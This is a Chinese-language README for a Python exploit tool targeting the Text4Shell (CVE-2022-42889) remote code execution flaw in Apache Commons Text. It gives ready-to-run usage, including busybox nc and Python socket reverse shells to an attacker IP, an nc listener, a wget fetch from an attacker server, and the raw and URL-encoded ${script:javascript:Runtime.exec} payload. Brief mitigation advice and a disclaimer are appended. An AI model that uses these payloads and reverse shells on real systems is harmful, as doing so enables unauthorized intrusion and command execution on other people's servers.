一个针对 CVE-2022-42889 (Text4Shell) 的 Python 利用工具,该漏洞是 Apache Commons Text 1.10.0 之前版本中的一个严重远程代码执行漏洞。
该工具针对 CVE-2022-42889 (Text4Shell) 漏洞,这是 Apache Commons Text 中的一个漏洞,允许通过经 StringLookup 插值器处理的特制输入字符串实现 远程代码执行(RCE)。
该漏洞的影响与 Log4Shell 类似,但影响的是不同的库。当用户控制的输入被传递给易受攻击的方法时,攻击者可以在目标系统上执行任意代码。
Apache Commons Text 通过 StringLookup 接口提供字符串插值功能。interpolator 查找允许使用各种前缀对表达式进行评估,包括:
${script:javascript:...} - 执行 JavaScript 代码(Nashorn 引擎)${url:UTF-8:...} - 获取 URL(SSRF)${dns:...} - DNS 查找| 产品 | 受影响版本 | 已修复版本 |
|---|---|---|
| Apache Commons Text | < 1.10.0 | 1.10.0 |
| Java | < 15(对于 RCE) | 15+(Nashorn 禁用) |
注意:Java 版本 ≥ 15 不会因 script 前缀(Nashorn 已禁用)受到 RCE 攻击,但仍可能因 url 和 dns 前缀受到 SSRF 攻击。
requests 库安装依赖:
pip install requests
python3 text4shell.py -t <目标IP> -p <端口> -c <命令> --lhost <你的IP> --lport <你的端口>
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "touch /tmp/test" --lhost 192.168.1.50 --lport 4444
# 启动监听器
nc -lvnp 4444
# 运行利用工具
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "busybox nc 192.168.1.50 4444 -e bash" --lhost 192.168.1.50 --lport 4444
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.50\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" --lhost 192.168.1.50 --lport 4444
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "wget http://192.168.1.50:8000/test" --lhost 192.168.1.50 --lport 4444
脚本使用 ${script:javascript:...} 语法创建一个恶意字符串:
${script:javascript:java.lang.Runtime.getRuntime().exec('COMMAND')}
特殊字符被 URL 编码以确保正确传输:
%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27COMMAND%27%29%7D
脚本发送一个 GET 请求到:
http://TARGET:PORT/search?query=ENCODED_PAYLOAD
如果目标易受攻击,它会评估 JavaScript 并执行命令。
检查你的系统是否易受攻击:
curl -s "http://target:8080/search?query=\${script:javascript:7*7}"
如果响应中包含 49 而不是 ${script:javascript:7*7},则系统易受攻击。
commons-text-*.jar 文件<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.10.0</version>
</dependency>
StringSubstitutor.createInterpolator()${script:javascript:} 模式的请求此工具仅用于教育目的和授权的安全测试。未经允许对不拥有或未获得明确测试权限的系统使用此工具是违法的。作者对此工具的任何滥用或造成的损害不承担责任。
本项目采用 MIT 许可证 - 详见 LICENSE 文件。
欢迎贡献、提交 issue 和功能请求!请查看 issues 页面。
祝黑客愉快!🚀
| 参数 | 描述 | 是否必须 |
|---|
| -t, --target | 目标 IP 地址 | ✅ 是 |
| -p, --port | 目标端口(默认:8080) | ❌ 否 |
| -c, --command | 要执行的命令 | ✅ 是 |
| --lhost | 你的反向 Shell IP | ✅ 是 |
| --lport | 你的反向 Shell 端口 | ✅ 是 |